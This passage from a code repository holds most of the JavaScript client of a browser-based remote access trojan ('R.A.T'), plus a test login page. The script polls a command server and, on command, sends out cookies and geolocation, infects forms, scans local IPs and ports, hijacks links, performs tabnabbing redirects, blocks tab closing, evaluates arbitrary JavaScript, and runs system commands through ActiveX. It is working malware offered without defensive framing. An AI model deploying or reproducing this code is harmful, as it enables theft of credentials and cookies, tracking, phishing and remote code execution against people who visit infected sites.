121 | } 122 | } 123 | 124 | function isActiveXUnsafe() //Checks if ActiveX code can run 125 | { 126 | try { 127 | var axObject = new ActiveXObject("WbemScripting.SWbemLocator"); //Example ActiveX Object 128 | return "ActiveX State: ActiveX configured unsafe"; 129 | } catch (e) { 130 | return "ActiveX State: ActiveX configured safe"; 131 | } 132 | } 133 | 134 | function playAudio(audioUrl) //Plays audio files based on input url 135 | { 136 | //define new audio player 137 | var audioPlayer = new Audio(audioUrl); 138 | //Play audio 139 | audioPlayer.play(); 140 | return "Audio Executed" 141 | } 142 | 143 | function hijackLinks(newUrl) //Replace all "a" element's href attribute with a custom link 144 | { 145 | $("a").attr("href", newUrl); 146 | return "Links Replaced"; 147 | } 148 | 149 | function showPrompt(promptMessage) //Show a basic prompt and return the answer 150 | { 151 | var result = prompt(promptMessage); 152 | return "User'a Answer to prompt is: " + result; 153 | } 154 | 155 | function redirectPage(targetPage) //redirect the browser to a new page 156 | { 157 | window.location = targetPage; 158 | return "User's browser is redirected to " + targetPage; 159 | } 160 | 161 | function tryGeoLocate() //Try to get coordinates via geolocation API 162 | { 163 | if (!navigator.geolocation) return "404 GeoLocation API not available"; 164 | var lat = ""; 165 | var lng = ""; 166 | var error = ""; 167 | 168 | navigator.geolocation.getCurrentPosition( 169 | function (location) //onSuccess 170 | { 171 | lat = location.coords.latitude; 172 | lng = location.coords.longitude; 173 | 174 | var locationData = { 175 | latitude: lat, 176 | longitude: lng, 177 | command: "storeLocation", 178 | client: clientID 179 | }; 180 | 181 | $.ajax({ 182 | dataType: "text", 183 | url: serverLocation, 184 | data: locationData, 185 | method: "GET" 186 | }); 187 | }, 188 | 189 | function (errorCode) //onError 190 | { 191 | if (errorCode.code == 0) error = "404 Unknown Error occured during location query"; 192 | if (errorCode.code == 1) error = "404 GeoLocation permission denied by user"; 193 | if (errorCode.code == 2) error = "404 Failed to get position, position not available"; 194 | if (errorCode.code == 3) error = "404 GeoLocation request timed out"; 195 | 196 | var locationErrorData = { 197 | client: clientID, 198 | command: "errorLocation", 199 | message: error 200 | }; 201 | 202 | $.ajax({ 203 | method: "GET", 204 | dataType: "text", 205 | data: locationErrorData, 206 | url: serverLocation 207 | }); 208 | }, 209 | 210 | {enableHighAccuracy:true, maximumAge:30000, timeout:27000} //Additional options 211 | ); 212 | 213 | return "Trying to geolocate target..."; 214 | } 215 | 216 | function executeJavaScript(jsCode) //Execute plain javascript 217 | { 218 | eval(jsCode); 219 | return "JavaScript Code Executed"; 220 | } 221 | 222 | function scanIPClassC(fixIpStart) //scan common IP Class C ranges 223 | { 224 | var start = ["192.168.0.", "192.168.1.", "192.168.10."]; 225 | var o4 = 0; 226 | var extraTimeout = 0; 227 | if (typeof(fixIpStart) != "undefined") 228 | { 229 | start.splice(0, start.length); 230 | start.push(fixIpStart + "."); 231 | } 232 | start.map(function (item){ 233 | if (!validSubnetFound) 234 | { 235 | for (o4 = 0; o4 < 255; o4++) 236 | { 237 | var address = item + o4; 238 | 239 | IPScan(address, extraTimeout); 240 | Log("Scanning: " + address + " started, sleeping: " + (10000 + extraTimeout).toString()); 241 | if (o4 == 254) lastIP = address; 242 | 243 | extraTimeout += 1000; 244 | } 245 | } 246 | }); 247 | 248 | validSubnetFound = false; 249 | } 250 | 251 | function IPScan(ip, timeoutIncrement) //Scan an invidual IP address 252 | { 253 | setTimeout(function () { 254 | $.ajax({ 255 | method: "GET", 256 | url: "http://" + ip + ":61234/", 257 | timeout: 5000, 258 | error: function (xhr, text, twerror) 259 | { 260 | if (text != "timeout") 261 | { 262 | validIPs += ip + " - Online;"; 263 | Log(ip + " is online"); 264 | validSubnetFound = true; 265 | } 266 | else Log(ip + " is offline -> " + text); 267 | 268 | if (ip == lastIP) 269 | { 270 | var ipData = { 271 | command: "pingResult", 272 | client: clientID, 273 | result: validIPs 274 | }; 275 | 276 | $.ajax({ 277 | method: "GET", 278 | dataType: "text", 279 | data: ipData, 280 | url: serverLocation 281 | }); 282 | } 283 | } 284 | }); 285 | }, 10000 + timeoutIncrement); 286 | } 287 | 288 | function scanPort(ip, port) //Scan a port for an IP address 289 | { 290 | if (blocked_ports.indexOf(port) != -1) 291 | { 292 | Log("Connecting to this port is blocked by the browser"); 293 | return "404 Connection to this port is blocked by the browser"; 294 | } 295 | 296 | var img = new Image(); 297 | 298 | img.onerror = function () { 299 | if (!img) return; 300 | img = undefined; 301 | Log(ip + ":" + port + " - Open"); 302 | var portData = { 303 | command: "portResult", 304 | client: clientID, 305 | message: ip + ":" + port + " - Open" 306 | }; 307 | 308 | $.ajax({ 309 | method: "GET", 310 | dataType: "text", 311 | data: portData, 312 | url: serverLocation 313 | }); 314 | }; 315 | 316 | img.onload = img.onerror; 317 | 318 | img.src = 'http://' + ip + ':' + port; 319 | 320 | setTimeout(function () { 321 | if (!img) return; 322 | img = undefined; 323 | Log(ip + ":" + port + " - Closed"); 324 | 325 | var portData = { 326 | command: "portResult", 327 | client: clientID, 328 | message: ip + ":" + port + " - Closed" 329 | }; 330 | 331 | $.ajax({ 332 | method: "GET", 333 | dataType: "text", 334 | data: portData, 335 | url: serverLocation 336 | }); 337 | 338 | }, 5000); 339 | 340 | return "200 Scanning Port"; 341 | } 342 | 343 | function preventClose() //Setup blocking method 344 | { 345 | window.onbeforeunload = setUpPrevention; 346 | } 347 | 348 | function setUpPrevention(e) //Prevent page close (chrome not working) 349 | { 350 | if (e.stopPropagation) { 351 | e.stopPropagation(); 352 | e.preventDefault(); 353 | e.returnValue = "The page is still working on something, are you sure you want to leave?\nAll unsaved data will be lost"; 354 | } 355 | 356 | displayDialog(); 357 | } 358 | 359 | function displayDialog() //Display a message 360 | { 361 | if (confirm("The page is still working on something, are you sure you want to leave?\nAll unsaved data will be lost")) displayDialog(); 362 | return "asd"; 363 | } 364 | 365 | function createTabNab(targetSite, inactivityTime) //Register a new TabNab action 366 | { 367 | tabNabSite = targetSite; //The new site 368 | inactiveTime = inactivityTime; //The inactive time after redirection hapens 369 | canTabNab = true; //Allow tabNabbing 370 | return "200 TabNabbing setup completed"; 371 | } 372 | 373 | function tabNabRedirect() //Redirect page 374 | { 375 | if (canTabNab) 376 | { 377 | var tabNabData = { 378 | command: "tabNabReport", 379 | client: clientID, 380 | site: tabNabSite 381 | }; 382 | 383 | $.ajax({ 384 | method: "GET", 385 | dataType: "text", 386 | data: tabNabData, 387 | url: serverLocation 388 | }); 389 | 390 | canTabNab = false; 391 | clearInterval(actionIntervalHost); 392 | window.location = tabNabSite; 393 | } 394 | } 395 | 396 | //Page focus lost, start inactive countdown 397 | window.onblur = function () { 398 | if (canTabNab) actionIntervalHost = setTimeout(tabNabRedirect, inactiveTime); 399 | }; 400 | 401 | //Page got focus, reset and stop the countdown 402 | window.onfocus = function () { 403 | if (typeof actionIntervalHost != "undefined" && actionIntervalHost != null && canTabNab) 404 | { 405 | clearInterval(actionIntervalHost); 406 | actionIntervalHost = null; 407 | } 408 | }; 409 | 410 | function executeActiveX(command) //Execute an ActiveX Command 411 | { 412 | try 413 | { 414 | var axObject = new ActiveXObject("WScript.Shell"); 415 | axObject.run(command); 416 | return "Command Executed"; 417 | } 418 | catch (e) 419 | { 420 | return "Command Execution Failed!"; 421 | } 422 | } 423 | 424 | function appendHtmlCode(htmlCode) //Insert html at the end of the document 425 | { 426 | var div = document.createElement("div"); 427 | div.insertAdjacentHTML("beforeend", htmlCode); 428 | document.body.appendChild(div); 429 | return "200 HTML Inserted at the end of the page"; 430 | } 431 | 432 | //Section: R.A.T main 433 | 434 | if (!CheckjQuery()) //If jQuery is not present 435 | { 436 | Log("jQuery not found, continuing to load"); 437 | LoadjQuery(); //load jQuery 438 | window.setTimeout(waitForjQuery, 1000); //Wait for jQuery to load 439 | } 440 | else //jQuery is present on the infected site 441 | { 442 | Log("jQuery found, executing listener"); 443 | startListener(); //Start listening 444 | } 445 | 446 | function handleCommand(command) //Handle and execute commands 447 | { 448 | Log("handle command"); 449 | if (command == "test") //test command, for testing connection - request - response 450 | { 451 | Log("test received"); 452 | return "200 OK"; 453 | } 454 | else if (command == "reassign") //called when the server wants the clients to request new client IDs 455 | { 456 | clientID = ""; //Set the client id to "" so at the next startListener() call register is sent -> requesting new client ID 457 | return ""; //Return "" -> to don't send feedback 458 | } 459 | else if (command.startsWith("alert ")) //Display an alert box with the specified text 460 | { 461 | var message = command.substring(6); 462 | alert(message); 463 | return "200 User responded to alert"; 464 | } 465 | else if (command == "get-site") //Get the current url 466 | { 467 | return window.location.href; 468 | } 469 | else if (command.startsWith("push-html ")) //replace all html contents with the specified one 470 | { 471 | var html = command.substring(10); 472 | document.write(html); 473 | return "200 HTML Content rewritten!"; 474 | } 475 | else if (command == "get-cookie") //Get the cookies of this site 476 | { 477 | var cookie = document.cookie; 478 | if (cookie == "") return "200 No Cookies present on this site" 479 | return document.cookie; 480 | } 481 | else if (command == "form-infect") //Infect all forms on a page 482 | { 483 | infectAllForms(); 484 | return "200 All forms on this page are infected"; 485 | } 486 | else if (command == "get-info") 487 | { 488 | return getBrowserInfo(); 489 | } 490 | else if (command == "check-pop-up") 491 | { 492 | return isPopUpBlocked(); 493 | } 494 | else if (command == "check-activex") 495 | { 496 | return isActiveXUnsafe(); 497 | } 498 | else if (command.startsWith("play-audio ")) 499 | { 500 | var audioUrl = command.substring(11); 501 | return playAudio(audioUrl); 502 | } 503 | else if (command.startsWith("hijack-link ")) 504 | { 505 | var targetLink = command.substring(12); 506 | return hijackLinks(targetLink); 507 | } 508 | else if (command.startsWith("prompt ")) 509 | { 510 | var message = command.substring(7); 511 | return showPrompt(message); 512 | } 513 | else if (command.startsWith("redirect ")) 514 | { 515 | var targetLink = command.substring(9); 516 | return redirectPage(targetLink); 517 | } 518 | else if (command == "geolocate") 519 | { 520 | return tryGeoLocate(); 521 | } 522 | else if (command.startsWith("execute-js ")) 523 | { 524 | var jScript = command.substring(11); 525 | return executeJavaScript(jScript); 526 | } 527 | else if (command.startsWith("ip-scan ")) 528 | { 529 | var fixSubnet = command.substring(8); 530 | scanIPClassC(fixSubnet); 531 | return "Scanning the specified subnet"; 532 | } 533 | else if (command == "ip-scan") 534 | { 535 | scanIPClassC(); 536 | return "Scanning common IP subnets"; 537 | } 538 | else if (command.startsWith("port-scan ")) 539 | { 540 | var ip = command.split(" ")[1]; 541 | var port = command.split(" ")[2]; 542 | 543 | return scanPort(ip, port); 544 | } 545 | else if (command == "prevent-close") 546 | { 547 | preventClose(); 548 | return "Close prevention activated"; 549 | } 550 | else if (command.startsWith("tabnab ")) 551 | { 552 | var targetLink = command.split(" ")[1]; 553 | var waitTime = command.split(" ")[2]; 554 | 555 | return createTabNab(targetLink, parseInt(waitTime)); 556 | } 557 | else if (command.startsWith("append-html ")) 558 | { 559 | var htmlCode = command.substring(12); 560 | return appendHtmlCode(htmlCode); 561 | } 562 | else if (command.startsWith("execute-ax ")) 563 | { 564 | var activeXCommand = command.substring(11); 565 | return executeActiveX(activeXCommand); 566 | } 567 | else if (command == "") //Add this otherwise client will send 404 unknown command when no command is available 568 | { 569 | return ""; 570 | } 571 | else //Undefined command 572 | { 573 | return "404 Unknown Command"; 574 | } 575 | } 576 | 577 | function postFeedback(fback) //Send feedback about a command to the server 578 | { 579 | var data = { //Define the data object 580 | command: "feedback", //Feedback command 581 | client: clientID, //Out client ID 582 | text: fback //The actual feedback 583 | }; 584 | 585 | $.ajax({ //Send to server 586 | type: "GET", //GET Request 587 | data: data, //The data defined above 588 | dataType: "text", //DataType is text (not JSON, so we doesn't get a parsing error if server response is non-json) 589 | url: serverLocation //The destination (your server) 590 | }); 591 | } 592 | 593 | function startListener() //Get commands, register client 594 | { 595 | if (!listening) //If interval is not set, set it 596 | { 597 | intervalHost = setInterval(startListener, 10000); //10 second interval 598 | listening = true; //Now we have the interval set 599 | } 600 | 601 | var data; //Data object to send 602 | 603 | if (clientID == "") //Our client is not yet registered 604 | { 605 | data = { 606 | command: "register" //So register it 607 | }; 608 | } 609 | else //Out client is registered 610 | { 611 | data = { 612 | client: clientID, 613 | command: "getCommand" //Look for new commands 614 | }; 615 | } 616 | 617 | $.ajax({ 618 | type: "GET", //GET Request 619 | url: serverLocation, //Destination (your server) 620 | data: data, //The data defined above 621 | dataType: "json", //JSON Data type 622 | setTimeout: 3000, //Set the connection timeout to 3 seconds 623 | success: function(ldata) { 624 | Log(ldata); //Log the response from the server 625 | 626 | if (data.command == "register") //Register client 627 | { 628 | clientID = ldata.result; //Set clientID to next available ID 629 | if (afterError) //If connection comes back after error 630 | { 631 | afterError = false; //Set the varible back 632 | clearInterval(intervalHost); //Clear the 1 minute interval 633 | intervalHost = setInterval(startListener, 10000); //Set the 10 seconds interval 634 | } 635 | } 636 | else if (data.command == "getCommand") //Get command from server 637 | { 638 | var cmdResult = handleCommand(ldata.result); //Execute command and get result 639 | if (cmdResult != "") postFeedback(cmdResult); //If command had result post it back to server 640 | } 641 | }, 642 | error: function(xhr, opt, twerror) 643 | { 644 | Log(twerror); //Log errors during XHR requests 645 | //The server is not reachable 646 | clientID = ""; //Set client id to nothing, so when the server comes online all clients register back 647 | clearInterval(intervalHost); //Remove the previous interval to call startListerner 648 | intervalHost = setInterval(startListener, 60000); //Create a new interval 6 times slower than the first to reduce network traffic to unreachable destinations 649 | afterError = true; //Set a global variable, os when the connection comes back reset the interval and set it to 10 seconds 650 | } 651 | }); 652 | } -------------------------------------------------------------------------------- /WebPlugin/bin/Debug/c# R.A.T Browser/testSite.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Bad site 5 | 6 | 7 | 8 | 9 |

This is a test

10 | 11 |

12 | 13 | 14 | 15 | 16 | Remember Me 17 | Login 18 |
19 | 20 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /WebPlugin/bin/Debug/sCore.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AdvancedHacker101/Javascript-Botnet-C-Sharp/ad27432191e2b1026fdb44752cd797b808dcf2f3/WebPlugin/bin/Debug/sCore.dll --------------------------------------------------------------------------------